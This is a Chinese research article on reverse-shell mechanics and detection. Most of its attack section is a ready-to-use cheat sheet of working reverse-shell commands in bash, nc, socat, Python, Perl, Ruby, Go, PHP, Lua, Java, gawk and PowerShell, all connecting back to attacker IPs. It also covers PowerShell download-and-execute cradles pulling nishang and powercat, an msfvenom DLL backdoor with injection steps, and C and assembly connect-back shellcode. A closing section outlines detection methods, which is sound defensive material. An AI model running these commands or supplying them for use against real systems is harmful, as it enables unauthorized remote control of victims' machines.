反弹Shell原理及检测技术研究

1. 反弹Shell的概念本质

所谓的反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。

本文会先分别讨论：

命令执行（system executor）
网络通信（network api）

这两个基础原子概念，然后在之后的章节中用组合的方式来呈现现在主流的反弹shell技术方式及其原理，用这种横向和纵向拆分的方式来帮助读者朋友更好地理解反弹shell。

2. 网络通信（network api）方式讨论

0x1：/dev/[tcp|udp]【4层协议】

1. 从文件描述（file descriptor）符说起

linux文件描述符可以理解为linux跟踪打开文件而分配的一个数字句柄，这个数字本质上是一个文件句柄，通过句柄就可以实现文件的读写操作。

当Linux启动的时候会默认打开三个文件描述符，分别是：

标准输入：standard input 0 （默认设备键盘）
标准输出：standard output 1（默认设备显示器）
错误输出：error output 2（默认设备显示器）

进程启动后再打开新的文件，描述符会自动依次增加。每一个新进程都会继承其父进程的文件描述符，因此所有的shell命令（本质上也是启动新进程），都会默认有三个文件描述符。

Linux一切皆文件，键盘、显示器设备也是文件，因此他们的输入输出也是由文件描述符控制。如果我们有时候需要让输出不显示在显示器上，而是输出到文件或者其他设备，那我们就需要重定向。

2. 重定向

重定向主要分为两种

输入重定向
- “<”
- “<<”
输出重定向
- “>”
- “>>”

bash在执行一条指令的时候，首先会检查命令中是否存在文件描述符重定向的符号，如果存在那么首先将文件描述符重定向（预处理），然后在把重定向去掉，继续执行指令。如果指令中存在多个重定向，重定向从左向右解析。

1）输入重定向

[n]< word 
（注意[n]与<之间没有空格）

说明：将文件描述符 n 重定向到 word 指代的文件（以只读方式打开）,如果n省略就是0（标准输入）。

解析器解析到 "<" 以后会先处理重定向，将标准输入重定向到file，之后cat再从标准输入读取指令的时候，由于标准输入已经重定向到了file ，于是cat就从file中读取指令了。

2）输出重定向

[n]> word

说明：将文件描述符 n 重定向到word 指代的文件（以写的方式打开），如果n 省略则默认就是 1（标准输出）。

上述指令将文件描述符1（标准输出）重定向到了指定文件。

3）标准输出与标准错误输出重定向

下面3种形式完全等价，

&> word 
>& word
> word 2>&1：将标准错误输出复制到标准输出

说明：将标准输出与标准错误输出都定向到word代表的文件（以写的方式打开）。

解释：我们首先执行了一个错误的命令，可以看到错误提示被写入文件（正常情况下是会直接输出的），我们又执行了一条正确的指令，发现结果也输入到了文件，说明正确错误消息都能输出到文件。

4）文件描述符的复制

[n]<&[m] 
n]>&[m] 
注意：这里所有字符之间不要有空格

这两个指令都是将文件描述符 n 复制到 m ，两者的区别是
- [n]<&[m] ：以只读的形式打开
- n]>&[m] ：以写的形式打开
这里的 & 目的是为了区分数字名字的文件和文件描述符，如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件，而不是一个文件描述符

注意，重定向符号的顺序不能随便换，因为系统是从左到右执行。我们来分析上面指令结果出现的原理，

首先解析器解析到 2>&1

解析器再向后解析到 “>”

5）exec 绑定重定向

exec [n] <> file/[n]：以读写方式打开file指代的文件，并将n重定向到该文件。如果n不指定的话，默认为标准输入
exec [n] < file/[n] 
exec [n] > file/[n]

使用 exec 指令，可以让重定向在接下来的会话中（多条指令）持续有效。

0x2：通过建立socket tcp连接实现网络通信【4层协议】

0x3：使用ICMP实现网络通信【4层协议】

0x4：使用DNS实现网络通信【7层协议】

Relevant Link:

https://xz.aliyun.com/t/2548

3. 命令执行（system executor）方式讨论

0x1：通过管道符传递指令

echo "hello" | cat

0x2：通过调用glibc api执行系统指令

本质上来说，Linux系统中的ring3应用程序启动时都会加载glibc.so库，glibc库中对Linux系统调用实现了封装。应用程序可以像使用C库那样，安全地使用系统调用。

0x3：通过直接调用系统调用执行指令

一般来说，应用程序可以通过glibc封装出的接口来使用系统调用，这样避免一些锁、传参检查等问题。但是技术上，应用程序完全也可以绕过glibc，直接发起syscall系统调用。

4. 反弹Shell攻击组合方式讨论

有了之前对命令执行和网络通信方式底层原理的讨论之后，这一章开始，我们将其进行横向和纵向的组合，讨论具体的反弹Shell姿势，并对每种姿势的底层原理进行分析。

0x1：“重定向符”+"/dev/tcp网络通信"Bash反弹Shell

这一类反弹shell的本质是把bash/zsh等进程的 0 1 2 输入输出重定向到远程socket，由socket中获取输入，重定向标准输出（1）和错误输出（2）到socket。

attacker机器上执行：
nc -lvp 2333

victim 机器上执行：
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

“bash -i”：bash 是linux的一个比较常见的shell，除此之外还有 sh、zsh、等，他们之间有着细小差别
“-i”：这个参数表示的是产生交互式的shell
“/dev/tcp/ip/port”：/dev/tcp|udp/ip/port 这个文件可以将其看成一个设备（Linux下一切皆文件），对这个文件进行读写，就能实现与监听端口的服务器的socket通信
”>&“：混合输出（错误、正确输出都输出到一个地方），避免受害者机器上依然能看到我们在攻击者机器中执行的指令
0>&1：输入0是由 /dev/tcp/192.168.146.129/2333 输入的，也就是攻击机的输入，命令执行的结果1，会输出到 /dev/tcp/192.168.146.129/2333 上，这就形成了一个回路，实现了我们远程交互式shell 的功能

常见的变种命令行如下：

方式一：显式用“2>&1”来对错误输出进行重定向
- bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
方式二：唯一区别就是 0>&1 和 0<&1 ，其实就是打开方式的不同，而对于这个文件描述符来讲并没有什么区别
- bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
- bash -i >& /dev/tcp/192.168.146.129/2333 0<&1
方式三：
- bash -i >& /dev/tcp/192.168.146.129/2333 <&2
- bash -i >& /dev/tcp/192.168.146.129/2333 0<&2

方式四：
- exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
  - “exec 5<>/dev/tcp/192.168.146.129/2333”：这一句将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 并且方式是读写方式，于是我们就能通过文件描述符对这个socket连接进行操作了
  - “command|while read line do .....done”：从文件中依次读取每一行，将其赋值给 line 变量（这里变量可以很多，以空格分隔），之后再在循环中对line进行操作。
  - ”>&5 2>&1“：使用管道符对攻击者机器上输入的命令依次执行，并将标准输出和标准错误输出都重定向到了文件描述符5，也就是攻击机上，实现交互式shell的功能
- 0<&196;exec 196<>/dev/tcp/192.168.146.129/4444; sh <&196 >&196 2>&196
方式五：
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
  - “mkfifo”：首先创建了一个管道
  - “cat”：将管道里面的内容输出传递给/bin/sh
  - “/bin/sh -i 2>&1|nc .... > /tmp/f”：sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道，由此形成了一个回路
- mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

0x2：第三方软件内置“socket通信”+“指令交互”实现反弹shel功能

第三方软件可以通过编译性或者解释性语言，在内部实现系统命中的调用执行以及网络双向通信的功能。理论上说，这类方式的变化是无限的。

1. nc

nc 如果安装了正确的版本（存在-e 选项就能直接反弹shell）

nc -e /bin/sh 192.168.146.129 2333

2. telnet反弹shell

mknod a p; telnet 10.211.55.2 7777 0<a | /bin/bash 1>a
telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555

3. socat反弹shell

# 监听命令
socat file:`tty`,raw,echo=0 tcp-listen:9999

# 反弹命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999

4. Xterm

# 在主控端配置
# 开启Xserver：　　# TCP 6001
Xnest :1                

# 授予目标机连回来的权限：
xterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tab
xhost +targetip                         # Run this INSIDE the spawned xterm on the open X Server
# 如果想让任何人都连上：
xhost +                      

# 在受控端执行
# 假设xterm已安装，连回你的Xserver：
xterm -display attackerip:1
或者：
$ DISPLAY=attackerip:0 xterm

0x3：“管道符”+ “socket网络通信”实现bash反弹shell

1. 基于匿名管道（pipe）传递指令流

匿名管道（pipe）是内核中的一个单向数据通道，管道有一个读端和一个写端。一般用于父子进程之间的通信。

# client
nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888
# server
ncat -lvvp 7777
# server 
ncat -lvvp 8888

bash进程的输入输出都来自其他进程的pipe。

2. 基于命名管道（fifo）

fifo是命名管道也被称为FIFO文件，它是一种特殊类型的文件，它在文件系统中以文件名的形式存在（因为多个进程要识别），它的行为和匿名管道类似（一端读一端写），但是FIFO文件也不在磁盘进行存储。一般用于进程间的通信。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 110.211.55.2 7777 >/tmp/f

mkfifo 命令首先创建了一个管道
cat 将管道里面的内容输出传递给/bin/sh
sh会执行管道里的命令并将标准输出和标准错误输出结果通过 nc 传到该管道，由此形成了一个回路

0x4：git解释性脚本语言反弹shell

1. python反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

# 拆成多行方便阅读
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('ip',port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])

使用duo2方法将第二个形参（文件描述符）指向第一个形参（socket链接）
- os.dup2(s.fileno(),0)
- os.dup2(s.fileno(),1)
- os.dup2(s.fileno(),2)
使用os的subprocess在本地开启一个子进程，启动bash交互模式，标准输入、标准输出、标准错误输出被重定向到了远程

2. perl反弹shell

perl -e 'use Socket;$i=”10.211.55.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# 拆成多行方便阅读
use Socket
$i=”10.211.55.2"
$p=7777
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){
    open(STDIN,">&S")
    open(STDOUT,">&S")
    open(STDERR,">&S")
    exec("/bin/sh -i")
}

3. ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’

4. go反弹shell

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

5. php反弹shell

php –r  'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’

6. lua反弹shell

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

7. java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

8. gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

9. powershell反弹shell

powershell反弹shell本质上是一些多功能代码集合，通过调用windows提供的api接口实现网络通信和指令解析执行的功能。

1）powercat反弹shell

# 攻击者(192.168.159.134)开启监听：
nc -lvp 6666
# 或者使用powercat监听
powercat -l -p 6666

# 目标机反弹cmd shell：
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.159.134 -p 6666 -e cmd

2）nishang反弹shell

Nishang是一个基于PowerShell的攻击框架，集合了一些PowerShell攻击脚本和有效载荷，可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

## Reverse TCP shell

# 攻击者(192.168.159.134)开启监听：
nc -lvp 6666

# 目标机执行：
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

# 或者将nishang下载到攻击者本地：
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

## Reverse UDP shell

# 攻击者(192.168.159.134)开启监听：
nc -lvup 53

# 目标机执行：
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53

## Reverse ICMP shell

# 首先攻击端下载icmpsh_m.py文件
https://github.com/inquisb/icmpsh)和nishang中的Invoke-PowerShellIcmp.ps1

# 攻击者(192.168.159.134)执行
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包
python icmpsh_m.py 192.168.159.134 192.168.159.138 #开启监听

# 目标机(192.168.159.138)执行
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.159.134

3）自定义powershell函数反弹shell

利用powershell创建一个Net.Sockets.TCPClient对象，通过Socket反弹tcp shell。

# 攻击者(192.168.159.134) 开启监听 
nc -lvp 6666

# 目标机执行 
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

4）Empire 结合office反弹shell

Empire(https://github.com/EmpireProject/Empire)基于powershell的后渗透攻击框架，可利用office宏、OLE对象插入批处理文件、HTML应用程序(HTAs)等进行反弹shell。

利用office宏反弹shell
利用office OLE对象插入bat文件反弹shell

Relevant Link:

https://www.anquanke.com/post/id/99793

10. regsvr32反弹shell

0x5：msf生成payload反弹shell

1. 生成脚本解释型代码并执行

本质上就是在目标机器执行了一段Python代码，和上一章节的python反弹shell没有本质区别。

2. 生成编译型二进制文件并执行

本质上就是在目标机器执行了一个二进制程序。

3. 内存shellcode执行

通过shellcode直接调用glibc或者syscall完成反弹shell。

1）C代码

#include<sys/socket.h>   //构造socket所需的库
#include<netinet/in.h>  //定义sockaddr结构
int main()
{
  char *shell[2];       //用于execv调用
  int soc,remote;    //文件描述符句柄
  struct sockaddr_in serv_addr; //保存IP/端口值的结构
 
  serv_addr.sin_addr.s_addr=0x6400A8C0;  //将socket的地址设置为所有本地地址
  serv_addr.sin_port=0xBBBB;  //设置socket的端口48059
  serv_addr.sin_family=2;   //设置协议族：IP
  soc=socket(2,1,0);
  remote=connect(soc,(struct sockaddr *)&serv_addr,0x10);
 
  dup2(soc,0);   //将stdin连接client
  dup2(soc,1);   //将stdout连接client
  dup2(soc,2);   //将strderr连接到client
  shell[0]="/bin/sh";   //execve的第一个参数
  shell[1]=0;           //数组的第二个元素为NULL,表示数组结束
  execv(shell[0],shell,NULL);   //建立一个shell
}

2）汇编语言代码

section .text
global _start
_start:
xor eax,eax ;清空eax
xor ebx,ebx ;清空ebx
xor edx,edx  ;清空edx
 
;soc=socket(2,1,0)
push eax  ;socket的第三个参数：0
push byte 0x1 ;socket的第二个参数：1
push byte 0x2 ;socket的第一个参数：2
mov ecx,esp ;将数组的地址设置为socketcall的第二个参数
inc bl  ;将socketcall的第一个参数设置为1
mov al,102  ;调用socketcall,分支调用号为1：SYS_SOCKET
int 0x80  ;进入核心态，执行系统调用
mov esi,eax ;将返回值(eax)存储到esi中（即soc句柄）
 
;remote=connect(soc,(struct sockaddr *)&serv_addr,0x10)
push edx; ;仍然为0，用来作为接下来压栈的数据的结束符
push long 0x6400A8C0  ;本节代码中新增，将地址反序得到的十六进制压栈
push word 0xBBBB  ;将端口压栈，十进制为48059
xor ecx,ecx ;清空ecx，以便保存结构的sa_family字段
mov cl,2  ;将ecx的地位字节，设置为2
push word cx  ;建立结构，包括端口和sin.family,共四个字节
mov ecx,esp ;将结构的地址（在栈上）复制到ecx
push byte 0x10  ;connect参数的开始，将16压栈
push ecx  ;在栈上保存结构的地址
push esi  ;将服务器文件描述符esi保存到栈
mov ecx,esp ;将参数数组的地址保存到ecx（socketcall的第二个参数）
mov bl,3  ;将bl设置为3，socketcall的第一个参数
mov al,102  ;调用socketcall，分支调用号为3：SYS_CONNECT
int 0x80  ;进入核心态，执行系统调用
 
mov ebx,esi ;将客户端的soc文件描述符复制到ebx
;dup2(soc,0)
xor ecx,ecx ;清空ecx
mov al,63 ;将系统调用的第一个参数设置为63：dup
int 0x80  ;进行系统调用
 
;dup2(client,1)
inc ecx ;ecx设置为1
mov al,63 ;准备进行系统调用:dup2:63
int 0x80  ;进行系统调用
 
;dup2(client,2)
inc ecx ;ecx设置为2
mov al,63 ;准备进行系统调用:dup2:63
int 0x80 ;进行系统调用
 
;标准的execv("/bin/sh"...
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

注意，push long 0x6400A8C0 这里就是IP地址，出现了00，在网络传输中会被截断。

nasm -f elf reverse_port_asm.asm
ld -o reverse_port_asm reverse_port_asm.o
# 然后抽取十六进制代码
objdump -d ./reverse_port_asm
# 得到shellcode

4. 通过dll进程注入执行反弹shell

PowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode（注入shellcode到执行进程）等功能。
利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入，反弹shell、

msfvenom生成dll后门：msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.134 lport=6667 -f dll -o /var/www/html/PowerSploit/lltest.dll
metasploit设置payload开启监听
powershell下载PowerSploit中Invoke-DllInjection.ps1和msfvenom生成的dll后门：IEX (New-Object Net.WebClient).DownloadString("http://192.168.159.134/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")Invoke-DllInjection -ProcessID 5816 -Dll C:UsersAdministratorDesktoplltest.dll

本质上，dll进程注入和上一节介绍的shellcode执行的原理的是一样的。

0x6：dns_shell & icmp_shell

本质上说，dns和icmp是一种网络通信方式，使用任何语言都可以借助这两种网络通信方式进行反弹shell交互。

但是我们知道，dns和icmp和tcp/udp不一样，它们都不是直连的网络信道，而是需要通过一个第三方进行消息中转。

dns（udp直连模式）
- control server将指令封装成dns包格式，通过udp53直接发送给client
- victim client从udp53接收到dns包后进行解析，从中提取并解码得到指令，并将执行结果封装成dns包格式，通过udp53返回给server
dns（authoritative DNS server转发模式）
- victim client配置好dns resolve（domain nameserver），之后将所有的执行结果和指令请求都以正常dns query的形式发送给local DNS server，随后通过dns递归查询最终会发送到攻击者控制的domain nameserver上
- control server从dns query中过滤出反弹shell相关的会话通信，并按照dns response的形式返回主控指令。

Relevant Link:

https://xz.aliyun.com/t/2549
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
https://www.cnblogs.com/shanmao/archive/2012/12/26/2834210.html
https://xz.aliyun.com/t/6727

5. 反弹Shell检测思路

0x1：进程 file descriptor 异常检测

1. 检测 file descriptor 是否指向一个socket

以“重定向符”+"/dev/tcp网络通信"Bash反弹Shell这一类最经典的反弹Shell攻击方式为例，这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄。

1. 检测 file descriptor 是否指向一个管道符（pipe）

对于利用“管道符”传递指令的反弹shell攻击方式来说，这类反弹shell的本质可以归纳为file descriptor的重定向到一个pipe句柄。

更进一步地说，不管做了多少层的pipe，反弹shell的本质是将server的输入传递给client的bash，因此肯定存在socket连接。

我们只需要根据pid追溯pipe上游的进程，并判断其进程fd，检查是否是来自一个socket。

例如，跟踪pipe，发现pipe的进程建立了socket连接，那么就存在反弹shell的风险。

0x3：netlink监控+fd异常检测

监听Netlink Socket，实时获取进程EXEC事件。
如果为Shell进程，检查进程启动打开的FD，
- 打开了Socket
- 未使用/dev/tty、/dev/pts/n、/dev/ptmx等终端
- 则确认为反弹Shell

绕过风险：

绕过风险：仅能通过进程执行文件名判断是否为Shell进程，上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。

例如这篇文章提到的，通过将/bin/sh重命名为其他名字进行反弹shell。

0x4：脚本文件 && 应用程序 && 无文件（fileless）反弹shell检测

前面几节讨论的fd监控方案，其本质都是针对”通过系统bash程序实现的反弹shell“。

但是我们需要注意的是，操作系统是分层的，Bash只是一个应用程序的普通应用，其内部封装了调用glibc execve的功能而已，除了bash之外，白帽子还可以基于任意的应用层技术来实现反弹shell，例如：

python/perl实现纯代码形式的反弹shell文件执行：文件脚本检测
python/perl实现纯代码形式的反弹shell命令行指令（fileless）：纯命令行fileless检测
C/C++实现纯代码形式的反弹shell：二进制文件检测

0x5：网络层反弹shell通信特征检测

反弹shell的通信会话中，会包含一些”cmdline shell特征“，例如”#root....“等，可以在网络侧进行NTA实时检测。

Relevant Link:

https://thinkycx.me/2019-07-06-how-to-detect-a-reverse-shell.html
https://github.com/zhanghaoyil/seesaw
https://www.freebuf.com/articles/system/187584.html